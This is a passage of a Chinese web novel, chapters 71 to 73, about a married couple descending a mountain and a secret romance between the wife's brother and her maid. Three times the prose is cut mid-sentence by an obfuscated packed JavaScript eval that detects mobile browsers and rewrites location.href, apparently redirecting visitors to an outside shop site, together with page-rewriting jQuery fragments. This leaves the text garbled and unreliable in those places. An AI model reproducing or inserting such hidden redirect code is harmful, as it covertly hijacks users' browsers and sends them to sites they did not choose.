徐寂宁反问:“你呢?” “我?我没什么愿望,看到正殿门口旁边放着一块‘国泰民安’的匾,就许愿国泰民安了。”南有音说道,“我说了我的愿望了,该你说了,你许了什么愿望?许了几个?” “咳。”徐寂宁干咳一声,沉默了一会儿,敌不过南有音好奇,最后脸有点红,小声道,“跟你有关,三个。” “是什么呀?”南有音笑眯眯问道。 徐寂宁不吭声。 “那我猜咯?”南有音佯做思考,一口气说了七八个猜测,徐寂宁都轻轻摇头,她便开始认真思考起来,“会不会有一个是希望我的话本子越写越好?” 徐寂宁点了点头。 南有音愣了片刻,快乐地笑道:“我看你许愿的时候那么虔诚,你这个愿望肯定会实现!” “那另外两个愿望是什么呢?”南有音又问道,但徐寂宁还是不直接说,于是她又开始猜测。 当她的猜测越来越离谱,离谱到即将大逆不道,叫人听了胡思乱想时,徐寂宁忍不住打断了她:“第二个愿望是希望你的愿望都能实现。” 南有音无端觉得心里热热的,感觉很安心。 “那国泰民安会实现啦,”她注视着徐寂宁,快乐道,“我许的愿望其实是你的愿望吧,你心底肯定也是期待国泰民安。” “自然。”徐寂宁心潮微澜,恍然中他非常清晰地感觉到南有音站在他的身边,站在他生命与理想的长河之中。 南有音又继续追问徐寂宁的第三个愿望是什么,但无论她如何“逼供”,徐寂宁的嘴好像被锁死了一样,一字不吐。 南有音没办法,只好好奇地盯着他。徐寂宁被南有音那双无比明亮的眼睛注视着,坐立不安,被盯得急了,索性起身往道观外面走,南有音不依不饶地追上去,在道观前的台阶上碰到了南玉振与松梯。 两人挨得很近,松梯抱着膝盖,垂着视线,浅浅地笑,南玉振凑在她身边说着什么。 南有音一把抓住想要逃走的徐寂宁,冲着他比了个“嘘”的手势,从地上拾了好多银杏叶,而后蹑手蹑脚走到南玉振身后,银杏叶捧到他头顶,纷纷扬扬撒了下去。 南玉振被吓了一跳,南有音则放声大笑。 南玉振冷哼一声:“向来都说天女散花,你这散叶,算什么东西?东施效颦?” 南有音不悦:“俗话说胆小如鼠,几片落叶就把你吓成这样,哼,老鼠可不怕树叶,啧啧,依我看,你还不如老鼠呢。” 南玉振不甘示弱,姐弟两个在山顶斗起嘴来,眼看两个人马上火冒三丈火星四溅,徐寂宁与松梯忙上前劝道:“往山下走吧,不然到山底天就黑透了,两位太太会担心。” 南有音和南玉振互相放了几句狠话,谁也不理谁了,扭头往山下走。 南玉振路过时还不忘狠狠瞪了一眼徐寂宁,然后又走到松梯旁边,陪她下台阶。 徐寂宁倍感无奈,他又没说什么,他不过说了跟松梯一样的话,怎得就专门冲着他横眉冷对。 “别理他。”南有音也气鼓鼓地。 一行人默默往山下走,太阳渐渐落下,余晖透过松柏树林,洒落台阶上,归林的飞鸟数量众多,叫声响亮,群山回唱。 在安宁静谧的自然中,大家都放松下来,南玉振哼着他幼时家乡的山歌,南有音则对徐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那可不一定,”南玉振说道,“又不一定是上花轿才需要我背着,就像今天你扭到脚了,说不定哪天摔到腿了之类的,不就又用着我背你喽。” 南有音恼火地捣了弟弟肩膀一拳:“你别咒我!” 南玉振笑嘻嘻的,沉默了一阵,又忽然说道:“姐姐,如果哪天你想嫁给别人,我也愿意背着你上花轿的。” 南有音没敢回头看徐寂宁,只在南玉振耳边小声道:“你少说两句。” “我说真的,姐姐,你要是不喜欢了,就回家吧,东厢房我天天都打扫,很干净。”南玉振有些生气,“你不要听爹的,不要操心我的事。” 南有音轻轻叹了一声,她知道弟弟的性格,所以没敢说托徐家给他找个差事的事已经快要妥了。 “玉振。”她喊了一声弟弟的名字,最终什么也没说,只是放心的揽着他,让他背着自己下阶梯。 虽然他们压根就不是亲姐弟,甚至血管里流淌的血液可谓八竿子打不着,但他们就像亲姐弟一样,斗完嘴转瞬即忘,现在他背着她在走在落日余晖的山林,好像刚刚斗鸡似的恨不得吃了对方的人不是他们一样。 “玉振。”南有音又轻轻唤了一声。 “嗯?” “没什么。” “那你叫什么叫,跟叫魂一样。” “闭嘴吧你!” 71. 落日 南玉振背着伤了脚的南有音下山,起初还游刃有余,渐渐力不从心,一路上走走歇歇,喘息声沉沉,额角汗滴不断,临到山脚,终究是体力不支,南玉振步伐踉跄了一下,但又立刻强撑着站稳,稳稳当当地放下了南有音,坐在台阶上大口喘气。 “别太勉强了。”南有音担忧道。 “没事……”南玉振喘着粗气,“马上就到山下了。” 南有音望着弟弟打颤的两条腿,摇摇头。 松梯从路边摘了好多野莓果给南玉振解渴,南玉振吃了两颗,问南有音:“那你怎么下山?” “嗯……”南有音想了一下,“既然离入山口不远了,剩下的路,我单腿跳下去得了。” 众人歇息的一阵,南玉振喘息渐渐平复,又咬牙背起了南有音。 南玉振固然身强力壮,精力过人,但背着人下山实在强人所难,这次再背上着南有音,不过下了十几节台阶,便气喘吁吁,脚步绵软趔趄,不得不再度放下了南有音,坐在一旁喘气,抬起袖子擦汗。 南有音掏出帕子想要给弟弟擦汗,却掏出了徐寂宁给她擦嘴的那条月白帕子,上面的紫红色果渍干涸了,变成了一种很难看的深棕色,她没好意思递给弟弟,又默默收了起来。 南有音把目光投向徐寂宁,期望他还有另一块月白色的手帕。 南玉振也将目光投向了另外一个人,他笑眯眯地望着松梯。 下一瞬,南有音怀疑自己的耳朵出了问题,她听到自家弟弟“低声下气”的,文文气气地喊了一声“松梯姐姐”。 说起来松梯的年纪比南有音大两岁,比徐寂宁大一岁,比南玉振长了五岁,喊她姐姐似乎也无可厚非。 听到南玉振的声音,松梯抬眼看了一眼身边的满脸诧异的南有音与徐寂宁,两颊立刻飞起了云霞,她垂着眼帘,小声对南玉振道:“别闹。” 南玉振抿抿嘴。 松梯又犹豫了好久,最终掏出自己怀里的手帕,递给了南玉振。 手帕上绣着两只斑斓孔雀,南有音见过,松梯花了好久绣的。南有音曾好奇松梯怎么绣这样的花纹,寻常帕子无非是花草鱼鸟,这条却是两只炫目的花孔雀。松梯当时只说打算送人,南有音后来也没再问。 南玉振接过手帕,盯着刺绣好久,最后没舍得用,小心翼翼折起来,放好。 太阳愈发西沉,西天的云霞彤彩绚烂,为脚下的台阶也镀上了一层橙色光芒。 众人再度起身下山,南玉振累得要命,仍想背起南有音,南有音说什么也不让,单脚蹦了几个台阶之后,徐寂宁拉住了她的手腕。 南有音看了他一眼,似乎很感激他的搀扶,便扶着他的胳膊又往下跳了几阶。 “有音,”徐寂宁拉住了她,“我背你。” 徐寂宁提出了个早被众人排除在外的想法,没人指望他这个肩不能抗手不能提的大少爷能背南有音,愿不愿意是一方面,能不能背得动又是另一方面。 南有音愣了一下,而后狐疑地打量徐寂宁。 徐寂宁笑了一下:“放心吧,现在身后又没有追兵,我不至于背着你掉进沟里的。” 南有音知道徐寂宁是在说她在岭南老背着徐寂宁掉沟里,翻了翻眼睛。 “别生气嘛,”徐寂宁蹲下身子,温和笑道,“上来吧。” 南有音忐忑地趴到徐寂宁背上,徐寂宁直起身,很慢,但也很稳健。 迈出第一步时有些摇摇晃晃,但很快又沉稳下来。 感受到南有音扶在自己肩上的手骤然抓紧,徐寂宁柔声说道:“有音,别怕,我不会摔到你的。” 徐寂宁又下了十余级台阶,渐渐娴熟了背着人下山,南有音也舒了一口气,慢慢放松了自己紧绷的全身。 南玉振冷哼一声,冲着徐寂宁道:“看来你还是有点用处的。” 虽然听起来让人不怎么舒服,但好歹不是那种刻薄语气了,其中甚至还夹杂一点别扭的感谢。 说完南玉振快赶几步,追上前面的松梯说话。 南有音发现趴在徐寂宁的背上的感觉与在弟弟背上的感觉很不一样。但她也说不出究竟是哪里不同,总之是一种非常微妙的不一样。 她默默伏在徐寂宁背上。 咚,咚,咚—— 她听到了徐寂宁的心跳,在寂寥苍翠的深山中,在绚烂艳丽的夕阳中,在倦鸟归巢的歌声中。 她也听到了自己的心跳声。 咚,咚,咚—— 两颗心靠的很近,好像互相缠绕一般,渐渐节奏相同,最终合为一个清晰的跳动声。 韵律同频的感觉很奇妙,南有音伸出手,覆在徐寂宁的左胸,掌下传来的律动与耳中合而为一。 徐寂宁轻咳一声:“咳,有音……你的手……” “怎么啦?”南有音下巴搁在徐寂宁的肩上,微微扭头,去看他的侧脸。 徐寂宁脸颊很红,不只是夕照的影响。 “徐寂宁。”南有音懒洋洋道,“你的脸怎么又红了?” 这句话让徐寂宁的脸更红了,天边的云霞红得像是烧了起来,徐寂宁的脸亦是。 南有音目不转睛地注视着徐寂宁的侧脸,视线在他的下颌与通红的耳朵上来回扫视,然后忍不住发笑。 “你笑什么?”徐寂宁问道,南有音的手仍然按在他的左胸,他感到自己的心在南有音的笑声中微微颤动。 南有音道:“笑你的心里好像住着一只兔子,怎么跳到这样激烈?还有,你还没有回答我你怎么总是脸红呢?” 徐寂宁感到窘迫,慌乱之中气恼道:“还不是因为你!” 说完徐寂宁心跳地更乱了,他背上的南有音先是一愣,而后默默收走了压在他左胸的手,继而埋在他肩头吃吃发笑。 她的呼吸吹在他的脖颈中,痒痒的,扰的他也忍不住笑。 终于,他们的笑声交织在一起,南有音不用手摸,也感受到他们的心跳也汇聚在一起,都像飞奔的兔子。 “你笑什么?”南有音问道。 “你又笑什么?”徐寂宁反问。 “你先说。” “你先说我才说。” “你说。” “你。” 两人幼稚地拌嘴,在夕阳里始终止不住笑。 同样在红色夕阳中笑闹的还有南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445831|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉振与松梯。 爬了一趟山,再瞎的人也能看出玉振与松梯关系似乎不太一般。 最终是徐寂宁先开口了,他似乎有些忧虑道:“松梯和玉振……” 他没有说全,但一切尽在不言之中。 南有音轻快道:“你说我可以去求太太和母亲,让她们为玉振和松梯做主吗?” “她们怎么可能答应,”徐寂宁摇头,“松梯是婢女,即便玉振并非什么高官贵族,只是普通官宦子弟,松梯的身份也做不了正妻,若是做妾——” 徐寂宁苦笑道:“恐怕也是不能,一方面是依玉振的性格他大概不会答应,一方面他是你弟弟,松梯是你的婢女,你是徐家的媳妇,徐家与南家是姻亲,没有把儿媳的婢女给小舅子做妾室的道理。” “可是,”南有音不太认可,她曾翻来覆去地读徐静祺留在竹箱中的笔记,不知不觉中认同的徐静祺常说的话,她说道,“大家可以不要管那些什么出身门第之类的啊,只要他们两个……” 南有音眼睛骤然一亮:“那个词叫什么来着?两心相许!对啦,只要他们两个两心相许,大家都支持他们,不就好了!” “两心相许……”徐寂宁喃喃,他沉沉一叹,“我与你支持又有什么用呢,玉振的婚事总归只能是父母做主,南老爷与南夫人会同意玉振与松梯吗?” 南有音眼神闪烁了一下,她不能确定。 “除此之外,最要紧的是太太,”徐寂宁苦笑了一下,“你也知道她是什么样的人。我想还是不要将松梯与玉振的事告诉她好,她若知道了,必然绝不容许。” “你说得也是,”南有音皱眉思虑道,“那玉振和松梯的事怎么办呢?” 徐寂宁不无遗憾轻声道:“恐怕没有办法。” 南有音沉沉一叹,她看着西天,觉得有什么东西与太阳一同落下了。 徐寂宁背着南有音,很快便筋疲力尽了,但好在很快就到了山下平地,南有音将徐寂宁当做拐杖,“拄”着他一瘸一拐的走。 一行人往竹源寺走,恰巧碰上了从寺里出来的两位夫人,脸上都带着几分焦急。 “你们怎么在山上呆了那么久?”徐夫人说道,“差点就派小厮上山找你们去了。” 南夫人抚着心口道:“我听说这山上天黑了会有狼,你们再晚点儿下来天就黑透了。” 她很快又注意到了女儿的异样,询问起来,南有音说扭到脚了,又惹得母亲好一通担忧。 “妈,我没事,又没伤到骨头,”南有音宽慰道,“等回到府上,太太会请宫里的太医给我医治的。” 安慰好母亲,天光渐渐昏暗,随从赶来了马车,徐府众人告别南氏母子,看着母亲与徐太太临别寒暄,南有音有点落寞,她觉得她也应该被归进南氏才对。 在不远处的树影下,南玉振似乎也在同松梯告别,他抬起手,自然而然地摘下了松梯发髻上的一片落叶,动作行云流水般的寻常自然,以至于南有音差点意识不到这是一个非常亲密的举止。 南有音有些不安地看向母亲与徐太太的方向,母亲背对着他们,什么也没有看到,倒是徐太太,微微眯起了眼睛。 72. 防微 自从离开竹源寺之后,南有音一直惴惴不安,她确信徐太太看到了树影下举止亲密的南玉振与松梯了。 她同意徐寂宁说的,若是让太太知道了两人的事,大概不会发生什么好事。然而提心吊胆了数天,什么也没有发生,一切如常,松梯仍在在院子里洒扫庭除,统筹着南有音的小院子。 秋色渐深,满园花草枯黄落叶,松梯悉心照料,硬是让院子里干净到一片落叶也见不到。 数日风平浪静,南有音也渐渐放心,琢磨着太太可能放过了这件事儿,便又专心写了几天话本子。 直到某天傍晚,在官署连轴转了数天的徐寂宁回家吃晚饭,南有音提起这事,表示幸庆这件事轻轻掀过了,徐寂宁却变了脸色:“你确定那天太太看到了?” “应该吧,她眯着眼,还皱着眉头……” 徐寂宁很熟悉母亲这种神情,每当她看到什么不合规矩的人或事时,她的脸上就会浮现出这样的神色。徐寂宁见过很多次,尤其是母亲与三姐因为观念不同而争执时,每当三姐说出婚姻爱情不应只是父母做主或者其他惊世骇俗的言论时,太太细长的眼睛就会微微眯起来,眉间微蹙,透露出威仪与压迫的意味。 徐寂宁觉得母亲眯眼看向南玉振与松梯显然不是什么好事,这使得南有音落下的心又悬了起来。 晚饭过后,徐寂宁被徐朗叫走了,南有音一个人在房间,思来想去,把松梯叫到跟前,打算来场直截了当地谈话。 松梯长着一双特别的眼睛,下眼睑向外扩,乌黑饱满的瞳仁,使得她看上去总是无比的温顺,无辜,而又楚楚可怜。 “少奶奶。”松梯轻轻唤了一声。 “咳,”南有音生硬地清了清嗓子,拍拍身边的位置,叫松梯坐下,然后故作若不经意,说道,“松梯,你觉得我弟弟怎么样?” “玉振啊,”松梯脸上不由自主地浮现出一丝笑意,“他跟少奶奶的描述一样,热烈又赤诚。” 南有音点点头,亲昵地拉住松梯的手,热情又直接地问道:“那你是不是也很喜欢他呢?” 一刹那间松梯无辜的圆眼睛里充满惊恐,她迅速抽出被南有音握住的手,接着慌忙跪下了。 南有音事前想过松梯的反应,在她的预想中松梯很大可能是脸红害羞,那她就会循循善诱,套出松梯的真心话,也预想过松梯可能会直接承认,考虑到松梯的性格,这种可能性非常小,但松梯过去毕竟是徐静祺的侍女,耳濡目染,大概也知道不少“思想解放”“自由恋爱”之类的。 她没想到松梯的反应是直接跪在了她的脚下,好像犯了什么滔天大罪一样。 她不知所措,想拉松梯起身:“你跪下做什么,我们只是姐妹间说点话而已……” 但松梯不肯,执意跪着,低着头,双颊飞红。 南有音轻声道:“松梯姐姐,你和玉振是真心的吗?倘若是,我会尽力想办法的。” 松梯的脸红得能滴出血,咬着嘴唇沉默。 南有音道:“我会想办法的。” “不劳少奶奶费心,”松梯开口时声音很小,颤地厉害,“我会与玉振分割清楚的。” “……我不是那个意思。”南有音慌忙解释缓声道,“我没有反对你们,三姐姐留下的册页里提到过,两心相许,即是爱人,你和玉振若是……我和徐寂宁会想办法……” 松梯垂着脑袋听完南有音的一通话,仍然低垂着眼帘,半晌摇摇头,沉沉说道:“奴婢会与玉振少爷分割清楚。” 说完,她站起来,失魂落魄地推门走出去,留下茫然无措地南有音,愣愣看着她的身影走进夕阳的余晖,走入暗沉夜色的前奏。 天黑透了,夜晚的温度也越来越凉了,徐寂宁终于从徐老爷的书房回来时,南有音刚刚从柜子里抱出来一床厚被子。 看上去徐寂宁没从父亲那里听到什么好消息,一脸郁闷。 “父亲提点我不要再上书提岭南的事了。”徐寂宁说道。 自从岭南之行后,他渐渐会主动与南有音说起他在朝堂上的事儿。 “为什么?”南有音问道,“你那本税制改革的折子,我爹看过,不是说已经没有太多问题了吗?” 徐寂宁摇头:“恐怕不是这个原因。” “那是什么原因?” “或许,”徐寂宁眼眸黯淡了一下,“或许是陛下的私心……他好像不愿岭南仍有永安王统辖时的做派。” 徐寂宁步入官场后,朝中前辈,从父亲到小崔太史,都跟他说过当今圣上心思幽微难测,切勿揣摩。 他初时了解尚浅,唯有岭南之行,了解到皇帝以他与其他几个官员为饵时,方才有所了解,而回到京城,在赋税与永安王两件事上反复拉扯,他才真正回味出皇权深不可测。 徐寂宁叹气道:“父亲和大哥说有人想利用此事做文章,叫我小心,不能再上奏。” “那你怎么想?” “……二哥说,叫我依照自己的心意。” 南有音笑了一下:“那就是为了岭南百姓继续上奏啦。” 徐寂宁眼睛亮亮的。 “不过你也别过火了,”南有音又补充道,“别惹得自己被砍头抄家之类的,我还没准备好当寡妇。” 徐寂宁笑了一下:“我心中有数。” “那就放手去做!”南有音轻快道。 徐寂宁心下翁然一动,微微一笑。 南有音也笑,然后说道:”对了,明天我要回家一趟,你有空吗?” “恐怕不行,怎么,有事?” “我要去问问玉振的想法。刚刚我与松梯谈了一会儿。”南有音思索道,“她似乎……有所顾虑。” “有音,”徐寂宁沉吟片刻,认真道,“说真的,我觉得松梯是对的。” 南有音不悦:“难道你也认同奴婢身份地位不是人的理论吗?松梯她是人,当侍女只是她的职位,就像你天天上朝一样!” 这些新观点都是南有音翻阅徐静祺留下的那本册页后得出的。 “我知道,我知道,”徐寂宁在南有音咄咄逼人地目光下有些局促,“我的意思是,这件事的阻力太多了,有音,基本不可能的。” “但如果有一线可能,你会帮我们吧?”南有音盯着徐寂宁问道。 “当然。” “我就知道,毕竟朋友嘛,两肋插刀!” 每当“朋友”这个称谓冒出来,徐寂宁就会又一点小小的不舒坦,尤其是现在,两人坐在同一张床上,过会儿又要睡在同一张床上,这总让他觉得“朋友”这个词有点变质,他们应该比朋友更进一步吧…… 比朋友更进一步是什么?好朋友? 徐寂宁觉得心底的小小空缺无法被填满。 南有音仍兀自想着松梯,没在意徐寂宁的失神,推了推徐寂宁的肩膀,催他快点洗漱,早点睡觉。 入秋之后,夜里越来越凉,前两夜都是天不亮,南有音就被冻醒了,这次她长了记性,从柜子里抱出一床被子,但很尴尬的是只有一床被子,却有两个人。 显然是徐太太的手笔,搬走书房的另一张床还不够,还挪走了柜子里多余的被子,明摆着是要把南有音跟徐寂宁往一个被窝赶。 徐寂宁收拾妥帖回到卧房,南有音已经先躺在被子里,她拍了拍身边的空隙,表示留有余位。 徐寂宁踟躇不前。 “别犹豫了,”南有音说道,“两个人单纯睡一个被窝是不会搞出小孩的。” 徐寂宁脸红。 眼见南有音嘴角扬起来,似乎又要挖苦几句,徐寂宁匆忙上床,小心翼翼掀开被子一个角,躺了进去。 明明是他与南有音的卧室,他与南有音的床,生生被他躺出一种做贼心虚的感觉。 南有音翻了个身,面朝里睡,徐寂宁则面朝外,一人一边,扯着被子。 到了后半夜,南有音卷走了大部分被子,徐寂宁冻得发抖,凉风往鼻腔里一灌,不小心打了个喷嚏。 “唔……”南有音难得地从睡梦中醒来,借着月光看到徐寂宁蜷缩成一团,困顿地蹬了蹬被子,又拍了拍自己身边,含糊不清地嘟囔道,“你过来。” 徐寂宁很保守的靠近了一点。 南有音困得要命,索性直接挪到徐寂宁身侧,扬起被子把他裹在其中。 “你别感冒,”南有音闭着眼咕哝,“我有其他事干,我最近想了新的话本子主意,你要病了,我不想照顾你。” 她重新调整到一个舒服的姿势,困倦之中模糊地寻思被子里有两个人就是格外地暖和,全然没有察觉到徐寂宁身体僵硬,因为她下意识靠近热源,将脑袋埋进了徐寂宁的胸口。 “咳,有音。”徐寂宁的声音暗哑低沉。 “别说话。”南有音眼睛没有睁开,皱着眉头,无力地推了推徐寂宁的肩膀,“你打扰我做梦了。” “哦……”徐寂宁不敢再吭声,半晌僵硬地将南有音搭在他肩上的手挪开,然后又向外挪了挪,与南有音拉开一点距离。 但睡梦中的南有音似乎只想靠近热源,口中嘟囔着“别跑”,再度向着徐寂宁靠拢。 终于,徐寂宁退无可退,他一边紧贴着床沿,一边紧贴着南有音。 他不着痕迹地轻轻一叹。在黑暗中,他脸上无人看见的红晕渐渐褪去,他小心翼翼伸出胳膊,像是怀抱什么易碎的珍宝一样,试探着轻轻搂住了怀里的姑娘。 他感受她依偎身畔的感觉,恍然间心房满满当当,说不清道不明的悸动。他倾听着她的呼吸声,也陷入了安眠。 次日南有音被徐寂宁上早朝的动静吵醒,她朦胧中睁开眼,徐寂宁却温声说天还未亮,继续睡吧。 南有音闭上眼再度睡去,却莫名感到床榻空荡荡的,好像不如昨夜温暖。 天大亮时,南有音收拾好自己,踏上了回家的路程,她原是要带着松梯一块,但松梯说什么也不肯,只把南有音送到门口,便低着头回去了。 一到南家小院门口,南玉振就先迎了上来,搀扶着姐姐从马车上下来。 南有音受宠若惊,南玉振则说他是挂记着南有音爬山时的脚伤,南有音在他面前蹦跶了几下,表示自己已经完全康复:“徐寂宁连着给我上了好多天的药。” 南玉振冷哼一声:“不过如此。” 而后他伸长脖子往马车里看,似乎在等什么人从马车上下来。 “别看了,松梯没来。”南有音说道。 南玉振问:“她干嘛去了?” “呃……”南有音一时不知道该怎么解释,恰逢南老爷与南夫人迎面走来,她便先放下这个问题,与父亲母亲谈笑一番,一直到吃完午饭,南有音才腾出空来单独与弟弟谈谈。 南玉振住在南家的西厢房,比南有音那间小了不少,里面也装饰的很朴素,但打扫的一尘不染,木质小桌子桌面和椅子扶手都被擦得锃亮。 南有音毫不客气地占据了弟弟房间里最柔软舒适的位置,南玉振则在一边剥橘子,低着头仔细地挑出橘子上的白丝。 午后惬意的阳光透入,在南玉振鼻子一侧留下一片柔和阴影。 “玉振。”南有音坐直了身子,稍微打破午后懒洋洋的氛围。 “嗯?”南玉振把剥好的橘子瓣摆好,光照射过去,几乎能看清其中的果肉与脉络。 南有音试探道:“你和松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445832|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梯——” 她还没说完,南玉振就不假思索地打断道:“我很喜欢她啊。” 说得痛快又坦荡。 他抬起眼睛,笑意盈盈:“姐姐,你该不会看不出来吧?” “我又不是瞎子!”南有音也笑了,她对南玉振的坦然还是颇感欣慰,但欣慰之余,心底始终隐隐担忧,“这些问题我也问过松梯。” “那她怎么说的?”南玉振眼睛亮亮的。 南有音把松梯的答复都告诉了弟弟:“今天也是,她执意不来。” 说完后她小心翼翼地去观察弟弟的神情,他眼里的火焰没有熄灭,只是飘摇了一下,而后继续熊熊燃烧。 “她没说实话,”南玉振忿忿道,“我知道她心里在想什么。” 他起身找出纸笔:“我要跟她说清楚。” 南有音对弟弟一向有话直说:“玉振,你有考虑过你和松梯以后怎么办吗?” 南玉振立刻朗声答道:“自然是明媒正娶,白首到老。” 弟弟直白又热烈,让南有音不禁微笑了一下,她没忍心将现实摆在弟弟面前,而是托着腮看他斟酌词句,迟迟不落笔。 “你要写什么?”她问道。 “我不知道该怎么说……”玉振捏着笔,眉毛蹙着,“我直接写喜欢她,是不是显得太轻浮了?” “大概会吓到她吧。”南有音脑海中浮现出了松梯惶恐不安的神情。 “也是,”南玉振点头,“不过就算我不写,她也知道。” 过了很久,南有音都无聊到坐在椅子上小憩了一会儿,睁开眼,发现南玉振还在苦苦思索。 她揉了揉眼睛,无奈道:“又不是叫你作策论,你怎么还是一个字也没写出来?” 南玉振苦恼道:“千言万语,不知从何说起。” 南有音伸了个懒腰,倦倦道:“你自己慢慢写吧。” 她出了西厢房,要去找母亲。她与徐寂宁讨论过,徐夫人是一座不可翻阅的高山,玉振与松梯的事,如果想下手,也只能从南氏夫妻那里稍作尝试。 南夫人一见到女儿,话没说两句又到了快点生个小孩上,南有音越听越烦,直接打断母亲,生硬地转移话题,问道:“妈,你和爹有想过玉振的婚事吗?” 南夫人明显一愣,似乎是没料到女儿会问这种问题:“你问这个做什么?” 南有音胡诌了借口:“你总是催着我生个孩子,让玉振生个孩子不也行。” “玉振是玉振,你是你,你在偌大的徐府,若不生一儿半女的,如何立足?”南夫人很是无奈,“算起来你跟寂宁成亲快一年了,你这肚子里一点动静也没有,旁人保不准说你的闲话,劝寂宁再添几房。” 南有音立刻道:“徐寂宁不是那种人。” 南夫人摇头,颇为怜爱地抚着女儿的头发:“他是什么样的人,不过完一生是说不准的,何况徐太太也一直等着抱孙子,大概也会另想办法。” 母亲一番话说得南有音心烦意乱起来,她再一次岔开话题,继续询问玉振的事。 这次南夫人倒是直接说了:“之前我与你爹也考虑过,近几年倒也不急,一来玉振年纪还小,二来他还尚未立业,你爹的意思是等到有了一官半职之后再做打算。” 南有音点点头,又追问:“若是女方比玉振大上几岁,你们会同意吗?” “大上几岁也无碍。”南夫人有些狐疑,“有音,你问这个究竟是要做什么?” 南有音没理会母亲的问题,继续道:“大四五岁也可以吗?” 南夫人扳着指头算了算,然后说道:“大四岁可以,但五岁不行。” “为什么?” “你弟弟属羊,大五岁的刚好属虎,羊入虎口,不是吉兆。” 不是吉兆?南有音心无端沉了一下。 她直接问道:“妈,若是我想让玉振娶我的侍女,你觉得怎么样?” 南夫人大吃一惊,抬手摸了摸南有音的额头:“你这说的都是些什么啊?不着边际。” 离开南家时南有音捏着南玉振托她捎给松梯的信,总觉得这薄薄一张纸如有万钧之重,坠她心里也惶惶的。 回到徐府时刚刚落日,她先去找了松梯,松梯正在屋檐下的椅子上绣帕子,南有音凑过去,看花样是两只蝴蝶。 “天黑了,太费眼睛。”南有音从松梯手里取过针线,放到针线篮里,而后又把南玉振那张折了两折的信笺塞到松梯手里,“玉振给你的,他嘱咐我一定交给你,你也一定要看。” 松梯抬起眼,圆眼睛里像是蓄着一层水雾,她拈着那张信笺,呆了片刻,才动手打开。 松梯低头盯着信纸,沉默了很久,久到南有音都看到了信笺上的文字,并非她有意窥视,而是纸上文字稀少却写得很大,相当醒目——松梯,姐姐告诉了我你的想法,我的想法你一定也知道吧,不论未来如何,我的心永远为你而跳动。 “我知道了。”松梯哑声道,她将信纸重新叠好,抬头看向南有音,恰好对上她关切的眼神。 松梯两颊带着淡淡的红霞,唇角微微勾起,勉强笑了一下,而后小声说道:“下次见到玉振时,我亲自告诉他。” “告诉他什么?”南有音有点好奇。 “告诉他……”松梯眼神闪烁,躲开了南有音探寻的视线,嘴上嘟囔什么厨房怎么还不送晚饭来,她得去催一催,匆匆地跑了。 彻底挑明了南玉振与松梯的关系后,南有音又惴惴不安了好几天,然而一切风平浪静,南有音渐渐觉得自己这种担心恐怕太过多余,或许那天徐夫人没有看到南玉振替松梯摘了树叶,也或许她压根不会操心这些“小事”。 73. 犹恐 秋天来的悄无声息,走得却很快,又过了刚刚半月,窗外的花草树木全都枯黄,每天地上的落叶扫也扫不完。 从开始落叶,到树枝杈光秃秃的,南有音几乎没有见过徐寂宁。刑部近来忙得要命,永安王一事中不少秋后问斩的,一直到立冬也没有结束,徐寂宁被派了监斩的任务,忙得脚不沾地,白天不在家。 几乎每天刑场都有人头落地,最初众人还熙熙攘攘地围观,惊叹刽子手大刀之锋利,脖颈折断,血花艳的惊人,到后面,人杀的越来越多,大家也见怪不怪了。 南有音偶尔从院里的丫鬟婆子嘴里听到一言半语的刑场消息,总忍不住想今日刑场上的人是谁,半夜翻来覆去睡不着,披着衣服在院子里仰头看星星,不知是月亮太亮还是几片薄云缭绕的缘故,她始终没见到几颗星。 院门方向传来“吱呀”一声,南有音被入冬的冷风吹了透,浑身一哆嗦,颤巍巍地往院门看去,在模糊不清的黑暗出现了一个被拉长的影子。 南有音全身僵住了,死死盯着院门。 但很快一片柔和的灯光透出来,是徐寂宁提着灯,灯光从下往上照着他,叫人辨不清面目,若非十分熟悉徐寂宁的身形,必然会觉得是大半夜闹鬼了。 南有音确定是徐寂宁,松了口气。 最近徐寂宁回家总是天彻底黑了的时候,有时南有音都睡着了,半夜又会被徐寂宁一身秋末冬初夜晚寒气的唤醒,她醒了,就睡眼朦胧地望着徐寂宁宽衣解带,徐寂宁总会察觉到她的视线,便转过身来,温声对她说:“你睡吧。” 她当真闭眼睡了过去,徐寂宁就轻手轻脚地掀开被子躺下,他一躺下,就带着几丝凉意入侵被窝,于是南有音又睁开眼,抵着困意问徐寂宁怎么这么晚回来,通常还没听到徐寂宁的回答,她便又睡了过去,陷入沉睡前她总是不自觉的摸摸徐寂宁的手或者两颊,嘟囔两句“怎么这么冰”。 徐寂宁提灯走近,看到屋檐下的人时惊了一下:“有音?这么晚了,你怎么还没睡?” 他见南有音只披了一件衣服,微微皱眉,催她回屋:“穿这么少,当心着凉。” “不会的,现在还不至于那么冷。”说完,南有音就打了个喷嚏。 徐寂宁用一种“你看,我说吧”的眼神注视南有音。 南有音则嘀咕道:“别想管我!” 